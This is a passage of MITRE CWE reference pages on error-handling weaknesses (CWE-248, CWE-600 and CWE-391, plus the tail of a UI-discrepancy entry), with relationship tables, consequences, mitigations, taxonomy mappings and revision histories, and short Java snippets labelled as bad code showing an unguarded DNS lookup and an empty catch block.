ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.449The UI Performs the Wrong Action
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Observed Examples
ReferenceDescription
UI inconsistency; visited URLs list not cleared when "Clear History" option is selected.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.996SFP Secondary Cluster: Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

This entry is likely a loose composite that could be broken down into the different types of errors that cause the user interface to have incorrect interactions with the underlying security feature.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUser interface inconsistency
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Type
2008-10-14CWE Content TeamMITRE
updated Description, Maintenance_Notes, Other_Notes
2011-03-29CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Relationship_Notes, Weakness_Ordinalities
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30User Interface Discrepancy for Security Feature
2008-04-11User Interface Discrepancy for Security Feature

CWE-248: Uncaught Exception

Weakness ID: 248
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
An exception is thrown from a function, but it is not caught.
+ Extended Description
When an exception is not caught, it may cause the program to crash or expose sensitive information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.600Uncaught Exception in Servlet
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Confidentiality

Technical Impact: DoS: Crash, Exit, or Restart; Read Application Data

An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.
+ Demonstrative Examples

Example 1

The following example attempts to resolve a hostname.

(bad code)
Example Language: Java 
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
String ip = req.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
...
out.println("hello " + addr.getHostName());
}

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2

The _alloca() function allocates memory on the stack. If an allocation request is too large for the available stack space, _alloca() throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. _alloca() has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure _alloca_s().

Example 3

EnterCriticalSection() can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the EnterCriticalSection() function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

+ Observed Examples
ReferenceDescription
SDK for OPC Unified Architecture (OPC UA) server has uncaught exception when a socket is blocked for writing but the server tries to send an error
Java code in a smartphone OS can encounter a "boot loop" due to an uncaught exception
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsOften Misused: Exception Handling
The CERT Oracle Secure Coding Standard for Java (2011)ERR05-JDo not let checked exceptions escape from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)ERR06-JDo not throw undeclared checked exceptions
SEI CERT Perl Coding StandardEXP31-PLExactDo not suppress or ignore exceptions
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2008-09-24CWE Content TeamMITRE
Removed C from Applicable_Platforms
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms
2009-03-10CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated References
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Often Misused: Exception Handling

CWE-600: Uncaught Exception in Servlet

Weakness ID: 600
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The Servlet does not catch all exceptions, which may reveal sensitive debugging information.
+ Extended Description
When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.
+ Alternate Terms
Missing Catch Block
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.248Uncaught Exception
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.390Detection of Error Condition Without Action
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Availability

Technical Impact: Read Application Data; DoS: Crash, Exit, or Restart

+ Demonstrative Examples

Example 1

The following example attempts to resolve a hostname.

(bad code)
Example Language: Java 
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
String ip = req.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
...
out.println("hello " + addr.getHostName());
}

A DNS lookup failure will cause the Servlet to throw an exception.

+ Potential Mitigations

Phase: Implementation

Implement Exception blocks to handle all types of Exceptions.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)ERR01-JDo not allow exceptions to expose sensitive information
Software Fault PatternsSFP4Unchecked Status Condition
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-03-10CWE Content TeamMITRE
updated Alternate_Terms, Description, Maintenance_Notes, Name, Other_Notes, Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Missing Catch Block
2009-03-10Failure to Catch All Exceptions (Missing Catch Block)
2010-12-13Failure to Catch All Exceptions in Servlet

CWE-391: Unchecked Error Condition

Weakness ID: 391
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Varies by Context; Unexpected State; Alter Execution Logic

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following code excerpt ignores a rarely-thrown exception from doExchange().

(bad code)
Example Language: Java 
try {
doExchange();
}
catch (RareException e) {

// this can never happen
}

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

+ Potential Mitigations

Phase: Requirements

The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

Phase: Requirements

A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

Phase: Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3887PK - Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.746CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1159SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1167SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reasons: Potential Deprecation, Frequent Misuse, Frequent Misinterpretation

Rationale:

This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue.

Comments:

Consider CWE-252, CWE-1069, CWE-248, or other entries under CWE-754: Improper Check for Unusual or Exceptional Conditions or CWE-755: Improper Handling of Exceptional Conditions.
Suggestions:
CWE-IDComment
CWE-252Unchecked Return Value
CWE-1069Empty Exception Block
CWE-248Uncaught Exception
+ Notes

Other

When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions:

  • This method call can never fail.
  • It doesn't matter if this call fails.

Maintenance

This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue. CWE analysts might map to this entry based on any of these issues. 7PK has "Empty Catch Block" which has an association with empty exception block (CWE-1069); in this case, the exception has performed the check, but does not handle. In PLOVER there is "Unchecked Return Value" which is CWE-252, but unlike "Empty Catch Block" there isn't even a check of the issue - and "Unchecked Error Condition" implies lack of a check. For CLASP, "Uncaught Exception" (CWE-248) is associated with incorrect error propagation - uncovered in CWE 3.2 and earlier, at least. There are other issues related to error handling and checks.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnchecked Return Value
7 Pernicious KingdomsEmpty Catch Block
CLASPUncaught exception
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
CERT C Secure CodingERR00-CAdopt and implement a consistent and comprehensive error-handling policy
CERT C Secure CodingERR33-CCWE More AbstractDetect and handle standard library errors
CERT C Secure CodingERR34-CCWE More AbstractDetect errors when converting a string to a number
CERT C Secure CodingFLP32-CImprecisePrevent or detect domain and range errors in math functions
CERT C Secure CodingPOS54-CCWE More AbstractDetect and handle POSIX library errors
SEI CERT Perl Coding StandardEXP31-PLImpreciseDo not suppress or ignore exceptions
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
